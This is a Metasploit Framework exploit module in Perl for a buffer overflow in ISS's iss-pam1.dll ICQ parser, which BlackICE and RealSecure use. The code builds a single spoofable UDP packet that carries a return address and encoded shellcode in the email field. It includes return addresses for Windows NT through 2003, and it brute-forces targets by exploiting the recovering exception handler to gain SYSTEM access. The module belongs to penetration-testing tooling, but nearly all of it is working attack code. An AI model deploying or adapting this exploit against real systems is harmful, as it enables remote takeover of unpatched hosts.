
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::blackice_pam_icq;
use base 'Msf::Exploit';
use strict;
use Pex::Text;

my $advanced = {
  'BruteWait'       => [5, 'Time to sleep between attempts, gives the SEH a chance to recover.'],
  'AdvancedTargets' => [0, 'You should never really need this, just figured why not. This won\'t work with brute forcing either.'],
};

my $info =
{
  'Name'  => 'ISS PAM.dll ICQ Parser Buffer Overflow',
  'Version'  => '$Revision: 1.29 $',
  'Authors' =>
    [
      'spoonm <ninjatools [at] hush.com>',
    ],
  'Description'  => Pex::Text::Freeform(qq{

    This is an exploit for an ICQ parser overflow in ISS products using
    iss-pam1.dll (Blackice/RealSecure). This should give you SYSTEM.

    This exploit only requires 1 udp packet, which can be both
    spoofed and sent to a broadcast.

    The ISS exception handler will recover the process, giving us the ability
    to bruteforce the service and exploit it multiple times.

    !!! winexec payloads do not seem working, this includes adduser.
  }),
  
  'Arch'  => [ 'x86' ],
  'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003', 'winnt'],
  'Priv'  => 1,
  'UserOpts'  =>
    {
      'RHOST' => [1, 'ADDR', 'The target address'],
      'RPORT' => [1, 'PORT', 'The target port (1 for random)', 1],
    },

  'Payload' =>
    {
      'Space'  => 504 - 31 - 4,
      'BadChars'  => "\x00",
      'MinNops' => 0,
      'MaxNops' => 0,
#      'PrependEncoder' => "\x83\xc4\x84", # add esp, BYTE -124
      'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
#      'Prepend' => "\xcc",
      'Keys' => ['+ws2ord'],
    },

  'Refs'  => 
    [ 
      ['OSVDB', 4355],
      ['URL',   'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
      ['URL',   'http://xforce.iss.net/xforce/alerts/id/166'],
    ],
  'DefaultTarget' => -1, # it defaults to this, but set anyway
  'Targets' =>
    [
      [1, 'Bruteforce All', 3 .. 9],
      [1, 'Bruteforce iss-pam1.dll', 3 .. 4],
      [1, 'Bruteforce NT 4.0', 8 .. 9],
      [1, 'iss-pam1.dll 3.6.06', 0x5e0a473f],
      [1, 'iss-pam1.dll 3.6.11', 0x5e0da1db],

      [1, 'WinXP SP0 - SP1', 0x71aa3a4b], # ws2help.dll

      [1, 'Win2003 SP0', 0x71bf3cc9], # ws2help.dll

# ey4s rocks, thanks for the ret man!
      [1, 'Win2000 SP0 - SP4', 0x750231e2], # ws2help.dll

      [1, 'WinNT SP3 / WinNT SP5 / WinNT SP6', 0x777e79ab], # samlib.dll
      [1, 'WinNT SP4 / WinNT SP5', 0x7733b8db], # cfgmgr32.dll

# I love opcode db.
 
      [0, 'WinXP SP0 / WinXP SP1 - shell32.dll', 0x776606af], # shell32.dll
      [0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76b305a7], # atl.dll
      [0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76e61a21], # activeds.dll
      [0, 'WinXP SP0 / WinXP SP1 - ws2_32.dll', 0x71ab7bfb], # ws2_32.dll
      [0, 'WinXP SP0 / WinXP SP1 - mswsock.dll', 0x71a5403d], # mswsock.dll

      [0, 'Win2000 SP2 / Win2000 SP3 - samlib.dll', 0x75159da3], # samlib.dll
      [0, 'Win2000 SP0 / Win2000 SP1 - activeds.dll', 0x773d0beb], # activeds.dll


      [0, 'WinNT SP5 / WinNT SP6 - advapi32.dll', 0x77dcd1cb], # advapi32.dll
      [0, 'WinNT SP3 / WinNT SP5 / WinNT SP6 - shell32.dll', 0x77cec080], # shell32.dll
      [0, 'WinNT SP5 / WinNT SP6 - mswsock.dll', 0x7767ebca], # mswsock.dll
    ],
    Keys => ['blackice', 'realsecure', 'iss'],
};

# Override to do our advanced target foo
sub Targets {
  my $self = shift;
  my $targets = $self->SUPER::Targets;
  my $newTargets = [ ];
  my $advanced = !$self->GetLocal('AdvancedTargets') == 1;

  foreach my $target (@{$targets}) {
    if($target->[0] >= $advanced) {
      my @target = @{$target};
      shift(@target);
      push(@{$newTargets}, \@target);
    }
  }
  return($newTargets);
}

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}


sub Exploit {
  my $self = shift;
  my $targetHost  = $self->GetVar('RHOST');
  my $targetIndex = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

  # Pad shellcode to size
  $shellcode .= Pex::Text::EnglishText($self->PayloadSpace - length($shellcode));

  my $target = $self->Targets->[$targetIndex];

  $self->PrintLine;
  $self->PrintLine('[*] !!! Note: The connection will not close after shellcode is finished');
  $self->PrintLine('              (atleast when using SEH).  This is because the SEH handler');
  $self->PrintLine('              recovers after bad exceptions (good for us).');
  $self->PrintLine;


  my @targets;

  if(@{$target} == 2) {
    @targets = ($targetIndex);
  }
  else {
    @targets = @{$target};
    my $name = shift(@targets);
    $self->PrintLine('[*] Trying Multiple Targets - ' . $name);
  }

  foreach $targetIndex (@targets) {
    my $target = $self->Targets->[$targetIndex];
    my $addr = $target->[1];

    $self->PrintLine(sprintf('[*] Trying %s - 0x%08x', $target->[0], $addr));


    my $port = $self->_targetPort;
    my $sock = Msf::Socket::Udp->new
    (
        'PeerAddr'  => $targetHost, 
        'PeerPort'  => $port, 
        'LocalPort' => 4000,
    );
    if ($sock->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
      return;
    }



# http://www.cs.berkeley.edu/~mikechen/im/protocols/icq/icqv5.html
# ISS's parser disagrees with both the above protocol and ethereal's disector

# God I'm so sick of this exploit by now, heh.
# ISS's parser seems totally broked, so this protocol is a fudge of the real one.
  
    my $header = Pex::Struct->new(
      [
        'version'   => 'l_u_16',
        'unknown0'  => 'u_8',
        'sessionId' => 'l_u_32',
        'command'   => 'l_u_16',
        'seqnum1'   => 'l_u_16',
        'seqnum2'   => 'l_u_16',
        'uin'       => 'l_u_32',
        'checkcode' => 'l_u_32',
      ]
    );

    $header->Set(
      'version'   => 5,
      'unknown0'  => 0,
      'sessionId' => 0,
      'command'   => 530, # SRV_MULTI
      'seqnum1'   => 0,
      'seqnum2'   => 0,
      'uin'       => 1161044754,
#      'uin'       => 0,
      'checkcode' => 0,
    );


    # Packet 1 USER_ONLINE
    my $userOnline = Pex::Struct->new(
      [
        'header'    => 'struct',
        'uinOnline' => 'l_u_32',
        'ip'        => 'l_u_32',
        'port'      => 'l_u_32',
        'realIp'    => 'l_u_32',
        'unknown1'  => 'u_8',
        'status'    => 'l_u_32',
        'unknown2'  => 'l_u_32',
      ],
    );


    my $headerOnline = $header->copy;
    $headerOnline->Set('command', 110); # SRV_USER_ONLINE

    $userOnline->Set(
      'header' => $headerOnline,
      'uinOnline' => 1161044754,
      'ip'        => 1,
      'port'      => 0,
      'realIp'    => 0,
      'unknown1'  => 0,
      'status'    => 0,
      'unknown2'  => 0,
    );

    # Packet 2 META_USER
    my $metaUser = Pex::Struct->new(
      [
        'header'          => 'struct',
        'subcommand'      => 'l_u_16',
        'success'         => 'u_8',
        'nickLength'      => 'l_u_16',
        'nick'            => 'string',
        'firstNameLength' => 'l_u_16',
        'firstName'       => 'string',
        'lastNameLength'  => 'l_u_16',
        'lastName'        => 'string',
        'emailLength'     => 'l_u_16',
        'email'           => 'string',
        'authorize'       => 'u_8',
        'unknown1'        => 'l_u_16',
        'unknown2'        => 'l_u_32',
      ],
    );

    my $headerMeta = $header->copy;
    $headerMeta->Set('command', 990); # SRV_META_USER
    $headerMeta->Set('uin', 2018915346);

    # Evilness
  
    my $nick = '';
    my $firstName = '';
    my $lastName = '';
  
#    my $email = 'A' x 19;
    my $email = Pex::Text::EnglishText(19);
    $email .= pack('V', $addr);
    $email .= $shellcode;


    $metaUser->SetSizeField(
      'nick'      => 'nickLength',
      'firstName' => 'firstNameLength',
      'lastName'  => 'lastNameLength',
      'email'     => 'emailLength',
    );

    $metaUser->Set(
      'header'          => $headerMeta,
      'subcommand'      => 0, # META_USER_FOUND (Should be 410, iss, wtf?)
      'success'         => 10, # Success
      'nick'            => $nick,
      'firstName'       => $firstName,
      'lastName'        => $lastName,
      'email'           => $email,
      'authorize'       => 0, # don't ask permission (docs and ethereal conflict)
      'unknown1'        => 0,
      'unknown2'        => 0,
    );

    my $multi = Pex::Struct->new(
      [
        'header'        => 'struct',
        'numPackets'    => 'u_8',
        'packet1Length' => 'l_u_16',
        'packet1'       => 'struct',
        'packet2Length' => 'l_u_16',
        'packet2'       => 'struct',
      ],
    );

    $multi->Set(
      'packet2Length' => length($metaUser),
    );

    $multi->Set(
      'header'     => $header,
      'numPackets' => 2,
      'packet1Length' => $userOnline->Length,
      'packet1'       => $userOnline,
      'packet2Length' => $metaUser->Length,
      'packet2'       => $metaUser,
    );


    my $request = $multi->Fetch;

    $self->PrintLine('[*] Sending UDP Request (Dest Port: ' . $port . ') (' . length($request) . ' bytes)');
  
    $sock->Send($request);

    $self->PrintLine('[*] Sleeping (giving exception handle time to recover).');
    sleep($self->GetLocal('BruteWait'));
  }

}

sub _targetPort {
  my $self = shift;
  my $targetPort  = $self->GetVar('RPORT');
  return($targetPort) if($targetPort != 1);
  return(int(rand(65536 - 2000)) + 2000);
}


